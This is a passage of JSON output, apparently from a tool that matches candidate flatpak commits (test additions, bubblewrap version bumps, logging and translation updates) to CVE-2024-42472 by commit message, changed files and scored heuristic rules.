"db3a785241fda63bf53f0ec12bb519aa5210de19", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1717412345, - "hunks": 2, - "message": "Add test coverage for --persist This adds three \"positive\" tests: the common case --persist=.persist, the deprecated spelling --persist=/.persist, and the less common special case --persist=. as used by Steam. It also adds \"negative\" tests for CVE-2024-42472: if the --persist directory is a symbolic link or contains path segment \"..\", we want that to be rejected. Reproduces: CVE-2024-42472, GHSA-7hgv-f2j8-xw87 [smcv: Add \"positive\" tests] [smcv: Exercise --persist=..] [smcv: Assert that --persist with a symlink produces expected message] Co-authored-by: Simon McVittie Signed-off-by: Simon McVittie ", - "changed_files": [ - "tests/test-run.sh" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [ - "CVE-2024-42472" - ], - "twins": [ - [ - "no-tag", - "2cdd1e1e5ae90d7c3a4b60ce2e36e4d609e44e72" - ] - ], - "tags": [ - "1.14.10" - ], - "matched_rules": [ - { - "id": "COMMIT_IN_REFERENCE", - "message": "This commit is mentioned 5 times in the references.", - "relevance": 64 - }, - { - "id": "VULN_ID_IN_MESSAGE", - "message": "The commit message mentions the vulnerability ID", - "relevance": 64 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: symlink, directory", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "847dfb88cebbdf8825332730b837489684dfb91e", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723488498, - "hunks": 2, - "message": "build: Require a version of bubblewrap with the --bind-fd option We need this for the --bind-fd option, which will close a race condition in our solution to CVE-2024-42472. In the bundled subproject, upgrade bubblewrap to version 0.6.3, which has a backport from 0.10.0 of the required option. For this stable branch, check the --help output for a --bind-fd option instead of requiring a specific version number, to accommodate possible backports in LTS distributions. Signed-off-by: Simon McVittie ", - "changed_files": [ - "configure.ac", - "subprojects/bubblewrap" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [ - "CVE-2024-42472" - ], - "twins": [], - "tags": [ - "1.14.10" - ], - "matched_rules": [ - { - "id": "VULN_ID_IN_MESSAGE", - "message": "The commit message mentions the vulnerability ID", - "relevance": 64 - }, - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: bind-fd", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: condition, distribution, option, bubblewrap, race, require, backport, version, branch, bind, subproject, close, need, build", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: subproject, bubblewrap, configure", - "relevance": 4 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "bb8759ea107c20bda34ae89fcf17b7bbba229399", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723486897, - "hunks": 2, - "message": "build: Bump required bubblewrap version to 0.9.901 (0.10.0 rc1) We need this for the --bind-fd option, which will close a race condition in our solution to CVE-2024-42472. Signed-off-by: Simon McVittie ", - "changed_files": [ - "meson.build", - "subprojects/bubblewrap.wrap" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [ - "CVE-2024-42472" - ], - "twins": [], - "tags": [ - "1.15.10" - ], - "matched_rules": [ - { - "id": "VULN_ID_IN_MESSAGE", - "message": "The commit message mentions the vulnerability ID", - "relevance": 64 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: condition, option, bubblewrap, race, require, version, bind, close, need, build", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: meson, build, subproject, bubblewrap", - "relevance": 4 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "9ad26d7e3268a6d0f92a4b06d65ff237e44c384c", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723642819, - "hunks": 3, - "message": "NEWS, configure.ac: Update for version 1.14.10 Signed-off-by: Simon McVittie ", - "changed_files": [ - "NEWS", - "configure.ac" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.14.10" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: bind-fd", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: version, configure, update", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: configure", - "relevance": 4 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "6519993de8ab0ec6ccdf4d8dff679d03d916360c", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1722540094, - "hunks": 10, - "message": "tests/build: Stop sharing the same environment for all tests This allows us to pass different environments to different tests.", - "changed_files": [ - "tests/meson.build" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: flatpak-bwrap", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: allow, build", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: meson, build", - "relevance": 4 - } - ] - }, - { - "commit_id": "a32f231910476bd2ebf6ad015ce72285e64dd6a4", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723484904, - "hunks": 1, - "message": "Update NEWS Signed-off-by: Simon McVittie ", - "changed_files": [ - "NEWS" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "8580f3f9f8db947d1279f4f84059e7df9fdc4e23" - ], - [ - "no-tag", - "fd5c0b1f3733e0d07d1fefda4ce84cd5716a3453" - ], - [ - "no-tag", - "690295950cc7abacb8dd7ed2c35c3dcad8d77747" - ], - [ - "no-tag", - "bde1e8b4e64f23bb95023de2169cd3009090ecb4" - ], - [ - "no-tag", - "aca754af78a8c31f6204c72245ce43e772d29f67" - ], - [ - "no-tag", - "7dcb96b56e2db2acf6b57531264b894c0d9dea31" - ], - [ - "no-tag", - "5150678ed012f5ab635ce620e7adf70cdabca2ea" - ], - [ - "no-tag", - "51de8f9294c2f0e72b6eb866053c58cd00d39144" - ] - ], - "tags": [ - "1.15.10" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: build-time", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: update", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - } - ] - }, - { - "commit_id": "260e4b374bae8e35aa0169669832f9e42056975f", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723549258, - "hunks": 4, - "message": "run: Debug-log sources of parameters other than overrides Every time we load something into the context, debug-log what it was. Again, the more involved parts of this are skipped if debug logging is disabled. This will help to diagnose what is going on if the app metadata or the command-line options are setting sandboxing parameters that break an app. Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-run.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "RELEVANT_WORDS_IN_MESSAGE", - "message": "The commit message contains some relevant words: command-line", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: time, option, line, sandbox, source, command, sandboxing", - "relevance": 4 - } - ] - }, - { - "commit_id": "07f55b32a5323b584e0061bf4337071603fee67b", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1708272131, - "hunks": 4, - "message": "run: Test whether sysfs mountpoints are accessible before mounting them In some restrictive environments like Whonix, access to /sys/ is blocked by file permissions (chmod 0700 /sys). Previously, Flatpak would give bwrap a command-line that will fail altogether in these locked-down environments. Instead, fall back to running the app with no access to these /sys subdirectories. The application will be unable to enumerate game controllers and similar hardware devices in this situation, but that's the same limited functionality that would be seen for a non-sandboxed application. Resolves: https://github.com/flatpak/flatpak/issues/5138", - "changed_files": [ - "common/flatpak-run.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "RELEVANT_WORDS_IN_MESSAGE", - "message": "The commit message contains some relevant words: command-line", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: bwrap, subdir, file, line, sandbox, point, application, access, command, mount, permission", - "relevance": 4 - } - ] - }, - { - "commit_id": "89f8f3767ad4483dc2e175a4b0a76d4067ba1937", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714675049, - "hunks": 13, - "message": "common: Move OCI registry manipulation into FlatpakOciRegistry This is a step towards making flatpak-utils conceptually \"smaller\" than all other translation units, with no dependencies beyond GLib and libglnx. In particular, consolidating all the OCI registry manipulation into one place means we can build other translation units without libarchive. This would also be a step towards being able to provide a build-time option to build a libostree-only version of Flatpak without the OCI feature or the direct libarchive dependency, if someone wanted to implement that. Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-oci-registry-private.h", - "common/flatpak-oci-registry.c", - "common/flatpak-utils-private.h", - "common/flatpak-utils.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "RELEVANT_WORDS_IN_MESSAGE", - "message": "The commit message contains some relevant words: build-time", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: time, option, provide, version, mean, build", - "relevance": 4 - } - ] - }, - { - "commit_id": "368cf26f8da82e81f26fb1797080668af3579ed1", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1724415097, - "hunks": 1, - "message": "subprojects: Update dbus-proxy.wrap to v0.1.6 We still only require a system xdg-dbus-proxy to be v0.1.0 or later, although a newer release is recommended. Signed-off-by: Simon McVittie ", - "changed_files": [ - "subprojects/dbus-proxy.wrap" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: require, release, update, subproject, system", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: subproject", - "relevance": 4 - } - ] - }, - { - "commit_id": "501dc75bc80f4a69e2015ae3d9a226d42413c77e", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723625984, - "hunks": 3, - "message": "NEWS, meson.build: Update for version 1.15.10 Signed-off-by: Simon McVittie ", - "changed_files": [ - "NEWS", - "meson.build" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: meson, build, version, update", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: meson, build", - "relevance": 4 - } - ] - }, - { - "commit_id": "417f3ca47ca2f620e6489b2a2cb437dbc803a37f", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723625959, - "hunks": 2, - "message": "build: Require bubblewrap 0.10.0 This is functionally equivalent to the release candidate. Signed-off-by: Simon McVittie ", - "changed_files": [ - "meson.build", - "subprojects/bubblewrap.wrap" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: build, require, bubblewrap, release", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: meson, build, subproject, bubblewrap", - "relevance": 4 - } - ] - }, - { - "commit_id": "5fc86a865cdcec0903ee526366e02af861d0c856", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1722540750, - "hunks": 2, - "message": "tests: Add an address sanitizer suppression file There are two places where we deliberately leak some memory. There are some cases which look like leaks in libostree but it's not impossible that we made a mistake in flatpak. Two other cases seem like issues in flatpak that I couldn't figure out.", - "changed_files": [ - "tests/flatpak-asan.supp", - "tests/meson.build" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: meson, build", - "relevance": 4 - } - ] - }, - { - "commit_id": "dad0160eee69466be8450bbf296ade9977d8ff00", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1722540207, - "hunks": 3, - "message": "tests/build: Add address sanitizer log file path Logging into files means we don't mess up the test TAP output and anything that requires a specific format.", - "changed_files": [ - "tests/meson.build" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: build, file, require, mean", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: meson, build", - "relevance": 4 - } - ] - }, - { - "commit_id": "c98a7c024f97331e19d53ca8d3dad9ee93880ef4", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1714671565, - "hunks": 8, - "message": "utils: Move OstreeRepo configuration accessors to a new translation unit This is a step towards removing the libostree dependency from flatpak-utils, which should be one of the lowest-level components. Signed-off-by: Simon McVittie ", - "changed_files": [ - "app/flatpak-builtins-build-update-repo.c", - "common/flatpak-repo-utils-private.h", - "common/flatpak-repo-utils.c", - "common/flatpak-utils-private.h", - "common/flatpak-utils.c", - "common/meson.build" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: access, configuration", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: meson, build, update", - "relevance": 4 - } - ] - }, - { - "commit_id": "92d7f9ec49e2db4ad93040d8e607531791165024", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1718677205, - "hunks": 3, - "message": "flatpak-permissions: Fix a memory leak This occur by just running flatpak permission Signed-off-by: Hubert Figui\u00c3\u00a8re ", - "changed_files": [ - "app/flatpak-builtins-permission-list.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: permission", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: permission", - "relevance": 4 - } - ] - }, - { - "commit_id": "cfb143bfc79bca1da2e584a9ed97ac93a16899b5", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1711575986, - "hunks": 1, - "message": "profile: Install flatpak.csh", - "changed_files": [ - "profile/meson.build" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: instal, file", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: meson, build, file", - "relevance": 4 - } - ] - }, - { - "commit_id": "db5f0370209d05d5001bb7af7a01a41e8b6f7858", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1724421248, - "hunks": 1, - "message": "Update subtree: libglnx 2024-08-23 * Fix function detection when using -Werror=return-type (Resolves: flatpak/flatpak#5778) * Add a fallback definition for G_PID_FORMAT * Avoid warnings for g_steal_fd() when targeting older GLib * Include from glnx-backports.h Signed-off-by: Simon McVittie ", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "5778": "Update submodule: libglnx 2024-04-20 #5799 Update libglnx subtree to 2024-04-20 smcv/flatpak#1 Update subtree: libglnx 2024-08-23 #5918" - }, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: update, avoid, include, backport", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 5778", - "relevance": 2 - } - ] - }, - { - "commit_id": "87f2768fab168ded186bd6b973ad6acf4cd09f8b", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1724421186, - "hunks": 0, - "message": "Merge branch 'wip/smcv/glib-unix' into 'master' glnx-backports: Include `` See merge request GNOME/libglnx!59", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: branch, include, backport", - "relevance": 4 - } - ] - }, - { - "commit_id": "0101366da4f636a3b1634b99cf04ff5b2f9fe427", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723549383, - "hunks": 1, - "message": "run: Debug-log the final context for an app This indicates what sandboxing parameters we are going to be using in the end. Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-run.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: sandbox, sandboxing", - "relevance": 4 - } - ] - }, - { - "commit_id": "dbc6cd91afd23653e1cef024b234b34af525b21b", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723549185, - "hunks": 4, - "message": "dir: When we load overrides, log them as debug messages The more involved parts of this are skipped if debug logging is disabled. This will help to diagnose what is going on when users have added overrides that make their app not work as intended. Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-dir.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: have, intend, user, work", - "relevance": 4 - } - ] - }, - { - "commit_id": "9784e5c0edd67d95f6e668099928f5027f85583c", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723549142, - "hunks": 2, - "message": "context: Add a function to log a FlatpakContext This writes out the context as a series of debug messages. Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-context-private.h", - "common/flatpak-context.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: write", - "relevance": 4 - } - ] - }, - { - "commit_id": "5d62a6d80b01b5c3ada67ddcd469d8c801d4dfca", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723549080, - "hunks": 3, - "message": "utils: Add flatpak_is_debugging() This can be used to disable code paths that assemble relatively \"expensive\" debug information when debugging is not enabled. It's activated by `flatpak -v -v`. With a sufficiently modern GLib version, it also activates for `G_MESSAGES_DEBUG=all` or `G_MESSAGES_DEBUG=flatpak`. Signed-off-by: Simon McVittie ", - "changed_files": [ - "app/flatpak-main.c", - "common/flatpak-utils-private.h", - "common/flatpak-utils.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: version, code", - "relevance": 4 - } - ] - }, - { - "commit_id": "73cebfd83c34904944d1e1d0631b102589bb8dee", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1724328934, - "hunks": 4, - "message": "run: Use hash tables as sets in the conventional way GLib has optimizations for hash tables that are sets (conventionally represented as key == value), and the APIs to work with such hash tables are also slightly nicer, so use them instead of putting an arbitrary constant string in the value. Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-run.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: represent, work", - "relevance": 4 - } - ] - }, - { - "commit_id": "5964b13f1e06ee0e2cf33431d59cb1a855fab61b", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1724328834, - "hunks": 7, - "message": "Constify arrays of program arguments These are passed to non-const-correct APIs which still need a cast, but at least we can declare the array in a way that reduces mistakes. Signed-off-by: Simon McVittie ", - "changed_files": [ - "revokefs/demo.c", - "session-helper/flatpak-session-helper.c", - "tests/can-use-fuse.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: need", - "relevance": 4 - } - ] - }, - { - "commit_id": "f711ffc0e3c9b0119fec69961ae8a558670752df", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1724327251, - "hunks": 1, - "message": "utils: Be more const-correct For historical reasons C string literals are officially of type `char *`, but if we build with -Wwrite-strings, they are `const char *` as they should be. Signed-off-by: Simon McVittie ", - "changed_files": [ - "common/flatpak-utils.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: write, build", - "relevance": 4 - } - ] - }, - { - "commit_id": "5a2503f1e8ef94364e3060ec440546cc47af7fa5", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723643859, - "hunks": 23, - "message": "Update translation files for 1.14.10 release Signed-off-by: Simon McVittie ", - "changed_files": [ - "po/cs.po", - "po/da.po", - "po/de.po", - "po/en_GB.po", - "po/es.po", - "po/fr.po", - "po/gl.po", - "po/hi.po", - "po/hr.po", - "po/hu.po", - "po/id.po", - "po/oc.po", - "po/pl.po", - "po/pt.po", - "po/pt_BR.po", - "po/ro.po", - "po/ru.po", - "po/sk.po", - "po/sv.po", - "po/tr.po", - "po/uk.po", - "po/zh_CN.po", - "po/zh_TW.po" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.14.10" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: update, file, release", - "relevance": 4 - } - ] - }, - { - "commit_id": "8b4f523c4f8287d57f1a84a3a8216efe200c5fbf", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723628934, - "hunks": 2478, - "message": "Update translation files for 1.15.10 Signed-off-by: Simon McVittie ", - "changed_files": [ - "po/cs.po", - "po/da.po", - "po/de.po", - "po/en_GB.po", - "po/es.po", - "po/fr.po", - "po/gl.po", - "po/hi.po", - "po/hr.po", - "po/hu.po", - "po/id.po", - "po/ka.po", - "po/nl.po", - "po/oc.po", - "po/pl.po", - "po/pt.po", - "po/pt_BR.po", - "po/ro.po", - "po/ru.po", - "po/sk.po", - "po/sv.po", - "po/tr.po", - "po/uk.po", - "po/zh_CN.po", - "po/zh_TW.po" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: update, file", - "relevance": 4 - } - ] - }, - { - "commit_id": "f62a83cdae462de15d80c02f12a8468981edc6d5", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1723487538, - "hunks": 2, - "message": "Update NEWS for release candidate (1.15.10 rc1) Signed-off-by: Simon McVittie ", - "changed_files": [ - "NEWS" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: update, release", - "relevance": 4 - } - ] - }, - { - "commit_id": "4b439ca001a4b1d867e399f2bc9629f972f6142c", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1722539947, - "hunks": 1, - "message": "oci-authenticator: Unref the GOptionContext when we're done with it", - "changed_files": [ - "oci-authenticator/flatpak-oci-authenticator.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: option", - "relevance": 4 - } - ] - }, - { - "commit_id": "fd5e4064731917ed96c531f3983c10b25e79e57a", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1722541182, - "hunks": 1, - "message": "repo-utils: Don't take ownership of the extra data source name Only get a pointer to the name which is valid as long as the input GVariant is valid. Closes: https://github.com/flatpak/flatpak/issues/5883", - "changed_files": [ - "common/flatpak-repo-utils.c" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: source, close, point", - "relevance": 4 - } - ] - }, - { - "commit_id": "efa48c1c21e4eadf03e3a4bbd944bd85b00f0898", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1722523631, - "hunks": 6, - "message": "dir: Use same mechanism for get_system/user_default_base_dir_location Also add the same missing valgrind suppression for the system dir location.", - "changed_files": [ - "common/flatpak-dir.c", - "tests/flatpak.supp" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: default, user, system", - "relevance": 4 - } - ] - }, - { - "commit_id": "b026910d1c18900e9daf07c429f7e901eb1c3f20", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1721667483, - "hunks": 13981, - "message": "Update translation files for release Signed-off-by: Simon McVittie ", - "changed_files": [ - "po/cs.po", - "po/da.po", - "po/de.po", - "po/en_GB.po", - "po/es.po", - "po/fr.po", - "po/gl.po", - "po/hi.po", - "po/hr.po", - "po/hu.po", - "po/id.po", - "po/ka.po", - "po/nl.po", - "po/oc.po", - "po/pl.po", - "po/pt.po", - "po/pt_BR.po", - "po/ro.po", - "po/ru.po", - "po/sk.po", - "po/sv.po", - "po/tr.po", - "po/uk.po", - "po/zh_CN.po", - "po/zh_TW.po" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: update, file, release", - "relevance": 4 - } - ] - }, - { - "commit_id": "158958487528620dd4511364d56724781333e8b2", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1721666856, - "hunks": 3, - "message": "Prepare v1.15.9 Signed-off-by: Simon McVittie ", - "changed_files": [ - "NEWS", - "meson.build" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "1.15.10", - "1.15.9" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: meson, build", - "relevance": 4 - } - ] - }, - { - "commit_id": "75b21fb23ebdf2045d00aa558c729bcefd78b267", - "repository": "https://github.com/flatpak/flatpak", - "timestamp": 1721367899, - "hunks": 87, - "message": "Update ka.po", - "changed_files": [ - "po/ka.po" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - 